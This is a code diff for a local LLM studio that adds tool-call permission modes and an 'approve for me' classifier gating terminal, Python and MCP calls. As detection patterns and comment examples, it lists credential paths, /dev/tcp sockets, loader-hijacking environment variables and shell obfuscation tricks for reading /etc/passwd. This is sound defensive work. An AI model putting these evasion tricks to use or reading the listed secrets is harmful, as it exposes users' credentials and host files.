Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access) (#7079)

Michael Hane1e38419dfb6
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 093a92e38df..6b6c5373ebd 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -8969,16 +8969,37 @@ class LlamaCppBackend:
disable_parallel_tool_use: bool = False,
confirm_tool_calls: bool = False,
bypass_permissions: bool = False,
+ permission_mode: Optional[str] = None,
) -> Generator[dict, None, None]:
"""
Agentic loop: let the model call tools, execute them, and continue.
+ permission_mode: "ask" confirms every call (with confirm_tool_calls),
+ "auto" only pauses calls detected as potentially unsafe, "off" never
+ pauses (sandbox stays on), "full" is the same as bypass_permissions.
+ Unset/unknown behaves as "ask".
+
Yields dicts:
{"type": "status", "text": "Searching: ..."/"Reading: ..."} -- tool status updates
{"type": "content", "text": "token"} -- streamed content tokens (cumulative)
{"type": "reasoning", "text": "token"} -- streamed reasoning tokens (cumulative)
"""
- from core.inference.tools import build_rag_autoinject, execute_tool
+ from core.inference.tools import (
+ build_rag_autoinject,
+ execute_tool,
+ is_always_safe_tool,
+ is_potentially_unsafe_tool_call,
+ )
+
+ # Normalize the mode: "full" and bypass_permissions are the same
+ # switch, whichever arrives first wins toward the permissive side.
+ # "off" keeps the sandbox but never prompts.
+ if permission_mode == "full":
+ bypass_permissions = True
+ elif bypass_permissions:
+ permission_mode = "full"
+ elif permission_mode not in ("ask", "auto", "off"):
+ permission_mode = "ask"
if not self.is_loaded:
raise RuntimeError("llama-server is not loaded")
@@ -8986,8 +9007,14 @@ class LlamaCppBackend:
conversation = list(messages)
# Forced first-pass RAG so a doc question doesn't lose to web_search. Emits
- # the same tool card + citations a real call would.
- _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+ # the same tool card + citations a real call would. Skip it only when a
+ # retrieval call would actually prompt (ask mode); auto never gates the
+ # safe search_knowledge_base tool, so retrieval must still run there.
+ # off never prompts either, so it also keeps first-pass retrieval.
+ _skip_autoinject = (
+ confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+ )
+ _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
if _auto:
for _ev in _auto["events"]:
yield _ev
@@ -9357,8 +9384,16 @@ class LlamaCppBackend:
in provisional_started_tool_calls.values()
)
# Later parallel cards only reconcile when parallel use is enabled.
+ # In auto mode an always-safe tool (render_html) never
+ # prompts, so it must stream its early card too; mirror
+ # that here instead of gating on the raw confirm flag.
_confirm_gated = (
- confirm_tool_calls and not bypass_permissions
+ confirm_tool_calls
+ and not bypass_permissions
+ and not (
+ permission_mode == "auto"
+ and is_always_safe_tool(current_name)
+ )
)
# Keep small-argument tools on the normal path.
_args_len = len(
@@ -9925,7 +9960,18 @@ class LlamaCppBackend:
# Bypass wins over the confirm gate at the loop level too,
# so a direct internal caller with both flags never prompts.
- needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+ # In "auto" mode only calls detected as potentially unsafe
+ # pause; read-only calls run straight through. "off" never
+ # prompts (sandbox stays on).
+ needs_confirm = (
+ bool(confirm_tool_calls)
+ and not bypass_permissions
+ and permission_mode != "off"
+ )
+ if needs_confirm and permission_mode == "auto":
+ needs_confirm = is_potentially_unsafe_tool_call(
+ decision.tool_name, decision.arguments
+ )
approval_id = new_approval_id() if needs_confirm else ""
decision_slot = (
begin_tool_decision(session_id, approval_id) if needs_confirm else None
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 6d0b13ced9b..c2082bc198b 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -1372,6 +1372,7 @@ class InferenceOrchestrator:
rag_scope: Optional[dict] = None,
confirm_tool_calls: bool = False,
bypass_permissions: bool = False,
+ permission_mode: Optional[str] = None,
use_adapter: Optional[Union[bool, str]] = None,
stats_holder: Optional[dict] = None,
presence_penalty: float = 0.0,
@@ -1439,6 +1440,7 @@ class InferenceOrchestrator:
rag_scope = rag_scope,
confirm_tool_calls = confirm_tool_calls,
bypass_permissions = bypass_permissions,
+ permission_mode = permission_mode,
)
def generate_with_adapter_control(
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index a18d2758ba3..c1fffb71cb2 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -428,6 +428,7 @@ def run_safetensors_tool_loop(
rag_scope: Optional[dict] = None,
confirm_tool_calls: bool = False,
bypass_permissions: bool = False,
+ permission_mode: Optional[str] = None,
) -> Generator[dict, None, None]:
"""Drive an agentic tool loop on top of a cumulative-text generator.
@@ -453,10 +454,27 @@ def run_safetensors_tool_loop(
"""
conversation = list(messages)
- # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to web_search.
+ # Normalize the mode (mirrors the GGUF loop): "full" and
+ # bypass_permissions are the same switch; unset/unknown behaves as "ask".
+ # "off" keeps the sandbox but never prompts.
+ if permission_mode == "full":
+ bypass_permissions = True
+ elif bypass_permissions:
+ permission_mode = "full"
+ elif permission_mode not in ("ask", "auto", "off"):
+ permission_mode = "ask"
+
+ # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to
+ # web_search. Skip only when a retrieval call would actually prompt (ask
+ # mode); auto never gates the safe search_knowledge_base tool.
from core.inference.tools import build_rag_autoinject
- _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+ # off never prompts, so (like auto) it must not lose first-pass retrieval
+ # even if a direct caller passes a stale confirm_tool_calls flag.
+ _skip_autoinject = (
+ confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+ )
+ _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
if _auto:
for _ev in _auto["events"]:
yield _ev
@@ -539,7 +557,16 @@ def run_safetensors_tool_loop(
# provisional card (keyed by tool_call_id, no approval) would show the
# tool as "running" before the user has approved it. Suppress the early
# card in that case and let the gated tool_start be the first signal.
- _provisional_confirm_gated = bool(confirm_tool_calls) and not bypass_permissions
+ # In auto mode render_html is always safe and never prompts, so keep its
+ # early canvas card (the frontend sends confirm_tool_calls=true alongside
+ # auto); mirrors the GGUF path's _confirm_gated exemption.
+ from core.inference.tools import is_always_safe_tool
+
+ _provisional_confirm_gated = (
+ bool(confirm_tool_calls)
+ and not bypass_permissions
+ and not (permission_mode == "auto" and is_always_safe_tool("render_html"))
+ )
gen = _call_single_turn(single_turn, conversation, active_tools)
prev_cumulative = ""
@@ -1056,8 +1083,17 @@ def run_safetensors_tool_loop(
assistant_msg.setdefault("tool_calls", []).append(decision.as_assistant_tool_call())
# Bypass wins over the confirm gate at the loop level too, so a
- # direct internal caller passing both flags never prompts.
- needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+ # direct internal caller passing both flags never prompts. In
+ # "auto" mode only calls detected as potentially unsafe pause.
+ # "off" never prompts (sandbox stays on).
+ needs_confirm = (
+ bool(confirm_tool_calls) and not bypass_permissions and permission_mode != "off"
+ )
+ if needs_confirm and permission_mode == "auto":
+ from core.inference.tools import is_potentially_unsafe_tool_call
+ needs_confirm = is_potentially_unsafe_tool_call(
+ decision.tool_name, decision.arguments
+ )
approval_id = new_approval_id() if needs_confirm else ""
decision_slot = begin_tool_decision(session_id, approval_id) if needs_confirm else None
start_event = decision.tool_start_event()
diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index 8d8e7ef3dd2..84a67c6ad40 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -5,6 +5,7 @@
(DuckDuckGo), Python code execution, and terminal commands."""
import ast
+import fnmatch
import http.client
import os
import signal
@@ -151,6 +152,42 @@ _COMMAND_PREFIXES = frozenset(
}
)
_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
+# Env-assignment prefixes that change command lookup or code loading, so
+# `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only
+# utility. LD_*/DYLD_* and any *PATH are covered by the prefix/suffix check.
+_AUTO_UNSAFE_ENV_ASSIGN = frozenset(
+ {
+ "IFS",
+ "BASH_ENV",
+ "ENV",
+ "SHELLOPTS",
+ "BASHOPTS",
+ "GLOBIGNORE",
+ "PROMPT_COMMAND",
+ "PS4",
+ "PYTHONSTARTUP",
+ "PYTHONHOME",
+ "NODE_OPTIONS",
+ "PERL5OPT",
+ "PERL5LIB",
+ "RUBYOPT",
+ "RUBYLIB",
+ # LESSOPEN/LESSCLOSE run an input preprocessor command for less.
+ "LESSOPEN",
+ "LESSCLOSE",
+ }
+)
+
+
+def _env_assignment_is_unsafe(name: str) -> bool:
+ """True if a NAME=value prefix affects command lookup/loading."""
+ return (
+ name in _AUTO_UNSAFE_ENV_ASSIGN
+ or name.startswith(("LD_", "DYLD_"))
+ or name.endswith("PATH")
+ )
+
+
_FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"})
@@ -272,6 +309,2169 @@ def _find_blocked_commands(command: str) -> set[str]:
return blocked
+# ── "Approve for me" (permission_mode="auto") safety detection ──────────────
+# Auto mode pauses only calls classified here as potentially unsafe. The sandbox
+# and hard blocks (blocklist, rlimits) still apply at run time; this gate only
+# decides prompting, and fails closed: anything not provably read-only asks.
+
+# Read-only commands allowed to run without confirmation in auto mode.
+_AUTO_SAFE_TERMINAL_COMMANDS = frozenset(
+ {
+ "ls",
+ "dir",
+ "pwd",
+ # cd absent: `cd /; cat etc/passwd` escapes the workdir for a later
+ # relative read the path scan cannot see, so cd always asks.
+ "cat",
+ "head",
+ "tail",
+ # less/more absent: their pager escapes (+cmd, !shell, -o, LESSOPEN) can
+ # run a command or write a file, so they always ask.
+ "grep",
+ "egrep",
+ "fgrep",
+ "rg",
+ "find",
+ "fd",
+ "wc",
+ "sort",
+ "uniq",
+ "cut",
+ "tr",
+ "diff",
+ "cmp",
+ "file",
+ "stat",
+ "du",
+ "df",
+ # ps absent: BSD env flags (ps auxe, ps eww) dump a parent's unscrubbed
+ # env and can't be flag-parsed reliably, so ps always asks.
+ "date",
+ "cal",
+ "whoami",
+ "id",
+ "uname",
+ "hostname",
+ "uptime",
+ "which",
+ "whereis",
+ "type",
+ "basename",
+ "dirname",
+ "realpath",
+ "readlink",
+ "md5",
+ "md5sum",
+ "shasum",
+ "sha1sum",
+ "sha256sum",
+ "cksum",
+ "tree",
+ "printenv",
+ "echo",
+ "printf",
+ "true",
+ "false",
+ "test",
+ "[",
+ "seq",
+ "nl",
+ "od",
+ "xxd",
+ "hexdump",
+ "strings",
+ "column",
+ "paste",
+ "join",
+ "comm",
+ "expand",
+ "unexpand",
+ "fold",
+ "fmt",
+ "rev",
+ "tac",
+ "locale",
+ "arch",
+ "nproc",
+ "sw_vers",
+ "jq",
+ }
+)
+# Flags that turn an otherwise read-only command into a writer or executor
+# (sort -o FILE, tree -o FILE, xxd -r IN OUT, find -exec/-delete/...).
+_AUTO_UNSAFE_COMMAND_FLAGS = {
+ # --files0-from=F makes sort read the NUL-separated list of input files
+ # named in F, so a crafted list reads arbitrary host files indirectly.
+ "sort": frozenset(
+ {"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"}
+ ),
+ "tree": frozenset({"-o"}),
+ "xxd": frozenset({"-r"}),
+ # -c/--check makes a checksum tool read a manifest file and then read every
+ # path it names, so a manifest listing /etc/passwd turns `sha256sum -c list`
+ # into an indirect host-file read; the digest form (sha256sum file) only reads
+ # the named files.
+ "md5sum": frozenset({"-c", "--check"}),
+ "sha1sum": frozenset({"-c", "--check"}),
+ "sha256sum": frozenset({"-c", "--check"}),
+ "shasum": frozenset({"-c", "--check"}),
+ "cksum": frozenset({"-c", "--check"}),
+ # GNU time -o/--output/-a/--append FILE writes timing output; time is a
+ # wrapper, so the flag is checked before the wrapped command like env -C.
+ "time": frozenset({"-o", "--output", "-a", "--append"}),
+ # rg runs an arbitrary program per file with --pre/--hostname-bin.
+ "rg": frozenset({"--pre", "--hostname-bin"}),
+ # env -C/--chdir escapes the workdir; -S/--split-string builds a command.
+ "env": frozenset({"-C", "--chdir", "-S", "--split-string"}),
+ # ionice -p/-P/-u change the I/O priority of an already running process /
+ # group / user instead of forwarding to a wrapped read-only command, so a
+ # bare `ionice -c 3 -p <pid>` mutates another process. ionice stays a safe
+ # wrapper for `ionice -c 3 <cmd>`; only the process-target flags ask.
+ "ionice": frozenset({"-p", "-P", "-u"}),
+ # printf -v NAME assigns to a shell var, so `printf -v PATH %s .; ls` runs
+ # ./ls from the workdir.
+ "printf": frozenset({"-v"}),
+ # wc/du/find --files0-from=F read the NUL-separated list of input paths named
+ # in F, so a crafted list reads arbitrary host files past the literal path /
+ # root checks, like sort --files0-from. find spells it -files0-from (a primary).
+ "wc": frozenset({"--files0-from"}),
+ "du": frozenset({"--files0-from"}),
+ "find": frozenset(
+ {
+ "-exec",
+ "-execdir",
+ "-ok",
+ "-okdir",
+ "-delete",
+ "-fprint",
+ "-fprint0",
+ "-fprintf",
+ "-fls",
+ "-files0-from",
+ }
+ ),
+ # fd -x/--exec/-X/--exec-batch run a command per result;
+ # --base-directory/--search-path move the search root outside the workdir.
+ "fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}),
+ # date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read.
+ "date": frozenset({"-s", "--set"}),
+ # file -C/--compile writes a compiled .mgc magic database; ident forms read.
+ "file": frozenset({"-C", "--compile"}),
+ # hostname -F/--file, -b/--boot set the hostname; display flags only read.
+ "hostname": frozenset({"-F", "--file", "-b", "--boot"}),
+}
+# Commands safe only without a mutating positional: `hostname NAME` sets the
+# hostname, `date MMDDhhmm...` sets the clock (a +FORMAT token or a display
+# flag's value stays read-only), so any other positional asks.
+_AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"})
+# date display flags taking a value token (-d STRING, -r FILE, -f FILE); the
+# value is not a clock-setting positional, so it is skipped.
+_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"})
+# Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile
+# [outfile]]): the 1st file reads to stdout, but a second file positional
+# overwrites it, like `sort -o`.
+_AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"})
+# Value-taking option flags for those commands whose argument is a separate token
+# (uniq -f 2, xxd -c 16). The value must be consumed so a numeric option value is
+# not miscounted as the output-file positional, and, conversely, a file that is
+# literally named with digits (uniq 123 out) is still counted.
+_SECOND_POSITIONAL_VALUE_FLAGS = {
+ "uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}),
+ "xxd": frozenset(
+ {"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"}
+ ),
+}
+# find/fd group with (...) which resets command context, so scan every token for
+# these once find/fd appears anywhere.
+_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"]
+# Recursive readers with an absolute-path target escape the workdir onto host
+# files (grep -R TOKEN /home, rg TOKEN /), so they ask.
+_AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"})
+# Directory walkers that always recurse (tree /home, du /) read the whole host
+# subtree under an absolute/tilde root, like a recursive search. ls only recurses
+# with -R/--recursive, so it is gated separately when that flag is present.
+_AUTO_RECURSIVE_LISTERS = frozenset({"tree", "du"})
+# Benign wrappers: safe AND forward command position to their target (checked in
+# turn). sudo/su/chroot/etc. are absent, so they classify as unsafe. xargs is
+# absent too: it appends arguments read from stdin that this scan never sees, so
+# `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd`
+# (a write + sensitive read) while only the allow-listed literals are visible.
+_AUTO_SAFE_WRAPPERS = frozenset(
+ {"env", "command", "time", "timeout", "nice", "ionice", "stdbuf", "nohup"}
+)
+
+# MCP tools whose names look read-only auto-run; anything else asks.
+_AUTO_SAFE_MCP_TOOL_RE = re.compile(
+ r"^(get|list|search|read|fetch|query|find|describe|show|view|lookup|"
+ r"retrieve|count|status|info|help|check)(?:[_\-].*)?$",
+ re.IGNORECASE,
+)
+# A mutating verb anywhere in the name overrides a read-only prefix, so a
+# compound name like get_or_create_issue or read_and_delete_file still asks.
+_AUTO_UNSAFE_MCP_VERB_RE = re.compile(
+ r"(?:^|[_\-])(?:create|update|delete|remove|write|set|add|send|post|put|"
+ r"patch|insert|drop|kill|exec|execute|run|deploy|publish|move|rename|edit|"
+ r"modify|upload|replace|revoke|grant|approve|merge|close|cancel|pay|"
+ r"transfer|buy|sell|reset|clear|purge|destroy|terminate|revert|rollback|"
+ r"trigger|enable|disable|install|uninstall|restart|stop|start|"
+ r"save|archive|submit|commit|push|sync|register|"
+ r"clone|checkout|comment|fork|tag|invite|share|append|prepend|"
+ r"copy|duplicate|import|export|download|backup|restore|snapshot|mirror|"
+ r"upsert|assign|mark|subscribe|unsubscribe|reply|notify)(?:[_\-]|$)",
+ re.IGNORECASE,
+)
+# A read-named MCP tool that returns a secret is still a sensitive read, so a
+# credential noun anywhere in the name (read_secret, list_tokens,
+# get_credentials, fetch_api_key) asks even without a mutating verb or a path/SQL
+# argument. Scoped nouns (api/access/private/... _key) avoid flagging benign
+# keys like a primary_key or keyboard lookup.
+_AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
+ r"(?:^|[_\-])(?:"
+ r"secret|token|credential|password|passwd|passphrase|apikey|"
+ r"(?:api|access|private|secret|signing|encryption|auth|session)[_\-]?keys?"
+ r")s?(?:[_\-]|$)",
+ re.IGNORECASE,
+)
+
+# Python: modules whose import alone signals side effects auto mode should ask
+# about (process spawning, network, bulk file ops, low-level memory).
+_AUTO_UNSAFE_PY_MODULES = frozenset(
+ {
+ "subprocess",
+ "shutil",
+ "socket",
+ "ctypes",
+ "multiprocessing",
+ "pty",
+ "fcntl",
+ "requests",
+ "urllib",
+ "urllib3",
+ "http",
+ "httpx",
+ "aiohttp",
+ # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+ # files over the network and write them to an on-disk cache.
+ "huggingface_hub",
+ # websockets opens a network connection; socketserver binds a listener.
+ "websockets",
+ "socketserver",
+ "ftplib",
+ "smtplib",
+ "telnetlib",
+ "paramiko",
+ # mail/news/rpc/browser stdlib clients open outbound connections
+ # (imaplib, poplib, xmlrpc.client, webbrowser.open).
+ "imaplib",
+ "poplib",
+ "nntplib",
+ "xmlrpc",
+ "webbrowser",
+ "tempfile",
+ # deserialization that can execute arbitrary code on load.
+ "pickle",
+ "marshal",
+ "shelve",
+ "dill",
+ # dbm.open(file, "c"/"n") creates files; treat the family as writers.
+ "dbm",
+ # sqlite3.connect(path) creates/mutates a database file (and runs DDL/DML
+ # without an open()/writer attribute), like dbm.
+ "sqlite3",
+ # runpy runs a script/module as code.
+ "runpy",
+ # ensurepip.bootstrap installs pip and venv.create builds an environment;
+ # both write to disk and can fetch/install packages.
+ "ensurepip",
+ "venv",
+ }
+)
+# Attribute calls that mutate the filesystem / spawn processes (os.remove,
+# Path.write_text, sock.connect, ...) regardless of how the module was bound.
+_AUTO_UNSAFE_PY_ATTRS = frozenset(
+ {
+ "remove",
+ "unlink",
+ "rmdir",
+ "removedirs",
+ "rename",
+ "renames",
+ "replace",
+ "rmtree",
+ "move",
+ "copy",
+ "copy2",
+ "copyfile",
+ "copytree",
+ "chmod",
+ "chown",
+ "system",
+ "popen",
+ "execv",
+ "execve",
+ "execl",
+ "execlp",
+ "execvp",
+ "spawnl",
+ "spawnv",
+ # os.startfile launches a program via its Windows association.
+ "startfile",
+ "fork",
+ "kill",
+ "killpg",
+ "symlink",
+ "link",
+ "mkdir",
+ "makedirs",
+ "truncate",
+ "touch",
+ "write_text",
+ "write_bytes",
+ "urlopen",
+ "urlretrieve",
+ "connect",
+ "bind",
+ "sendall",
+ # pathlib link creators, os node/metadata mutators, dynamic import.
+ "symlink_to",
+ "hardlink_to",
+ "link_to",
+ "mkfifo",
+ "mknod",
+ "utime",
+ # os.setxattr / os.removexattr mutate extended attributes, like chmod.
+ "setxattr",
+ "removexattr",
+ "import_module",
+ # loader.exec_module runs a module's code like import_module; archive
+ # extractall/extract write arbitrary files (zip-slip): extract takes a
+ # single member but an attacker-controlled member path still escapes.
+ "exec_module",
+ "extractall",
+ "extract",
+ "FileIO",
+ # asyncio subprocess spawners run a program past the terminal blocklist.
+ "create_subprocess_exec",
+ "create_subprocess_shell",
+ "subprocess_exec",
+ "subprocess_shell",
+ # asyncio outbound connections / listeners (open_connection,
+ # create_connection/server and unix variants), like socket.connect.
+ "open_connection",
+ "create_connection",
+ "create_server",
+ "create_unix_connection",
+ "create_unix_server",
+ # more asyncio listen/connect + UDP/raw socket helpers.
+ "start_server",
+ "start_unix_server",
+ "open_unix_connection",
+ "create_datagram_endpoint",
+ "sock_connect",
+ # os.chdir escapes the workdir; runpy helpers run arbitrary code.
+ "chdir",
+ "fchdir",
+ "run_path",
+ "run_module",
+ # types.FunctionType wraps a compiled code object into a callable, a
+ # dynamic-execution vector; pandas read_pickle deserializes (runs code).
+ "FunctionType",
+ "read_pickle",
+ }
+)
+# Pickle-backed loaders that can execute code embedded in the file; gated by
+# receiver module (torch.load, joblib.load) since bare `load` is too common.
+_AUTO_UNSAFE_PY_LOAD_MODULES = frozenset({"torch", "joblib", "cloudpickle"})
+# Writer methods that persist to disk without going through open() (numpy.save,
+# Image.save, plt.savefig, DataFrame.to_csv, json.dump). Gated as method calls
+# only, so a bare attribute reference is not mistaken for a write.
+_AUTO_UNSAFE_PY_WRITE_METHODS = frozenset(
+ {
+ "save",
+ "savefig",
+ "savez",
+ "savez_compressed",
+ "savetxt",
+ "tofile",
+ "dump",
+ "to_csv",
+ "to_parquet",
+ "to_pickle",
+ "to_json",
+ "to_feather",
+ "to_hdf",
+ "to_excel",
+ "to_stata",
+ "to_sql",
+ "to_xml",
+ # pandas text exporters that write when given a path/buffer (to_html /
+ # to_markdown / to_latex mirror to_csv); to_clipboard / to_gbq persist
+ # off-process. to_string is omitted: it is overwhelmingly display-only.
+ "to_html",
+ "to_markdown",
+ "to_latex",
+ "to_clipboard",
+ "to_gbq",
+ "imwrite",
+ "imsave",
+ "write_image",
+ "write_html",
+ # ML persistence helpers (transformers/peft/safetensors/keras) that
+ # export adapters or weights to disk without an open()/writer attribute.
+ "save_pretrained",
+ "save_file",
+ "save_model",
+ "save_weights",
+ "save_lora",
+ "save_checkpoint",
+ # logging file handlers open a log file for write on construction (even
+ # default mode "a" creates); matched as attribute call and bare import.
+ "FileHandler",
+ "WatchedFileHandler",
+ "RotatingFileHandler",
+ "TimedRotatingFileHandler",
+ # numpy.memmap(..., mode="w+") and pandas writers create/truncate a file
+ # on construction, like open(..., "w").
+ "memmap",
+ "open_memmap",
+ "ExcelWriter",
+ "HDFStore",
+ # pydoc.writedoc(name) writes name.html to the workdir.
+ "writedoc",
+ }
+)
+# Archive / compressed-file constructors taking the mode as their 2nd arg like
+# open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in
+# write mode (reading a .gz is fine, so the modules are not blanket-unsafe).
+_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"})
+# The stdlib module each archive constructor is imported from.
+_ARCHIVE_CTOR_MODULES = {
+ "zipfile": "ZipFile",
+ "tarfile": "TarFile",
+ "gzip": "GzipFile",
+ "bz2": "BZ2File",
+ "lzma": "LZMAFile",
+}
+# Modules whose top-level open() takes the mode as its 2nd arg like builtin open,
+# so `from gzip import open as gopen` binds an open alias gated on write mode.
+_OPEN_ALIAS_MODULES = frozenset({"gzip", "bz2", "lzma"})
+# Builtins/itertools helpers that call their first argument once per item, so a
+# writer/open alias handed to one runs without a direct call(...) site
+# (list(map(open, names, modes)), starmap(np.save, ...)). filter's predicate is
+# also invoked, so a writer smuggled there runs too.
+_HIGHER_ORDER_INVOKERS = frozenset({"map", "filter", "starmap", "reduce"})
+_PY_WRITE_MODE_RE = re.compile(r"[wax+]")
+# A file-mode literal ("w", "rb", "a+"): letters/flags only, no path chars.
+# Used to tell a Path.open("w") mode from a ZipFile.open("name.txt") filename.
+_PY_MODE_LITERAL_RE = re.compile(r"^[rwxa][btru+]*$")
+
+# Reading these off the host escapes the intent of "read-only is safe": they
+# hold credentials. Path traversal (../) escapes the per-session workdir.
+_SENSITIVE_PATH_RE = re.compile(
+ r"(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube|config/gcloud|config/gh)(?:[/\\]|$)"
+ r"|\.(?:netrc|npmrc|pypirc|git-credentials|env)(?:$|[/\\.\s'\"])"
+ r"|id_rsa|id_ed25519|id_ecdsa|id_dsa"
+ # Hugging Face stores the login token at ~/.cache/huggingface/token and the
+ # legacy ~/.huggingface/token (plus the multi-token store stored_tokens); the
+ # rest of that cache is model data, so only the credential files match. The
+ # optional leading dot covers the .huggingface dotdir form.
+ r"|(?:^|[/\\])\.?huggingface[/\\](?:token|stored_tokens)(?:$|[/\\.\s'\"])"
+ # /etc/ssh holds the host private keys (ssh_host_*_key); the whole dir is
+ # sensitive, not just passwd/shadow/sudoers.
+ r"|credentials|/etc/(?:passwd|shadow|sudoers|ssh(?:[/\\]|$))"
+ # Bash opens /dev/tcp/host/port and /dev/udp/host/port as network sockets,
+ # so a redirection to one reaches the network without the confirm prompt.
+ r"|/dev/(?:tcp|udp)/"
+ # Docker/Kubernetes secret mounts hold injected credentials.
+ r"|/(?:var/)?run/secrets(?:[/\\]|$)"
+ # procfs leaks a (possibly parent) process env/args/memory to a read,
+ # including the per-thread aliases under /proc/<pid>/task/<tid>/. The fd/
+ # dir holds symlinks to a process's open files (a held credential/db file).
+ r"|/proc/[^/\s'\"]+/(?:task/[^/\s'\"]+/)?(?:environ|cmdline|mem|maps|fd)\b"
+ # A .pem/.key file (basename before the extension), not a bare ".key"
+ # (e.g. a jq '.key' filter).
+ r"|\w[\w.-]*\.(?:pem|key)(?:$|[\s'\"])",
+ re.IGNORECASE,
+)
+# A shell redirection with no following space (cat <../../notes) keeps `..`
+# adjacent to `<`/`>`, so those count as leading delimiters here too.
+_PARENT_TRAVERSAL_RE = re.compile(r"(?:^|[\s/\\'\"=:<>])\.\.(?:[/\\]|$|[\s'\"])")
+# A sensitive directory: a dynamic segment under it (open(f"/etc/{name}")) is
+# not provably safe, so fail closed when a folded path has a dynamic piece here.
+_SENSITIVE_DIR_RE = re.compile(
+ r"/etc/|/(?:var/)?run/secrets[/\\]|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)[/\\]"
+ r"|(?:^|[/\\])\.config/(?:gcloud|gh)[/\\]",
+ re.IGNORECASE,
+)
+# Collapse /./ and repeated slashes so /etc/./passwd and /etc//passwd, which
+# the OS resolves to /etc/passwd, still match the sensitive-path regex.
+_REDUNDANT_SLASH_RE = re.compile(r"/\.?(?=/)")
+# $name, ${name}, and operator/substring forms (${name:-x}, ${name:0:6}) all
+# reference `name`; substituting the assigned value catches paths hidden behind
+# a substring expansion (p=passwd; cat /etc/${p:0:6}).
+_SHELL_VAR_RE = re.compile(r"\$\{(\w+)(?::[^{}]*)?\}|\$(\w+)")
+# Pattern replacement (${p/X/w}, global ${p//X/w}) transforms the value before
+# the path is used; apply it so p=passXd; cat /etc/${p/X/w} is scanned.
+_SHELL_PARAM_REPL_RE = re.compile(r"\$\{(\w+)/(/)?([^/{}]*)/([^{}]*)\}")
+# Case modification (${p^^} upper, ${p,,} lower, ${p^}/${p,} first char) also
+# transforms the value, so p=PASSWD; cat /etc/${p,,} builds /etc/passwd.
+_SHELL_PARAM_CASE_RE = re.compile(r"\$\{(\w+)(\^\^|,,|\^|,)\}")
+# Indirect expansion ${!p} yields the value of the variable *named* by $p, so
+# x=passwd; p=x; cat /etc/${!p} builds /etc/passwd.
+_SHELL_PARAM_INDIRECT_RE = re.compile(r"\$\{!(\w+)\}")
+_SHELL_ASSIGN_RE = re.compile(r"(?:^|[\s;&|(])([A-Za-z_]\w*)=([^\s;&|)]+)")
+# Bash ANSI-C quoting ($'\x77' -> 'w') is expanded after this classifier, so
+# decode $'...' bodies before the sensitive-path scan.
+_ANSI_C_RE = re.compile(r"\$'((?:[^'\\]|\\.)*)'")
+# Shell quotes only delimit; bash concatenates the pieces (cat /proc/x/enviro''n
+# reads .../environ), so strip them before the sensitive-path scan.
+_SHELL_QUOTE_RE = re.compile(r"['\"]")
+# A glob bracket class [s] -> s, so .s[s]h de-obfuscates to .ssh for the scan.
+_GLOB_BRACKET_RE = re.compile(r"\[([^!\]][^\]]*)\]")
+# Bash POSIX character classes ([[:lower:]]) each match one char; Python fnmatch
+# does not understand them, so normalize to `?` before the glob check.
+_POSIX_CLASS_RE = re.compile(r"\[\[:\w+:\]\]")
+# Canonical sensitive files a ? / * / [..] glob could expand to; fnmatch tests
+# whether the pattern reaches one (cat /e??/passwd -> /etc/passwd).
+_SENSITIVE_GLOB_TARGETS = (
+ "/etc/passwd",
+ "/etc/shadow",
+ "/etc/sudoers",
+ "/root/.ssh/id_rsa",
+ "/root/.aws/credentials",
+ "/home/u/.ssh/id_rsa",
+ "/home/u/.ssh/id_ed25519",
+ "/home/u/.aws/credentials",
+ "/home/u/.netrc",
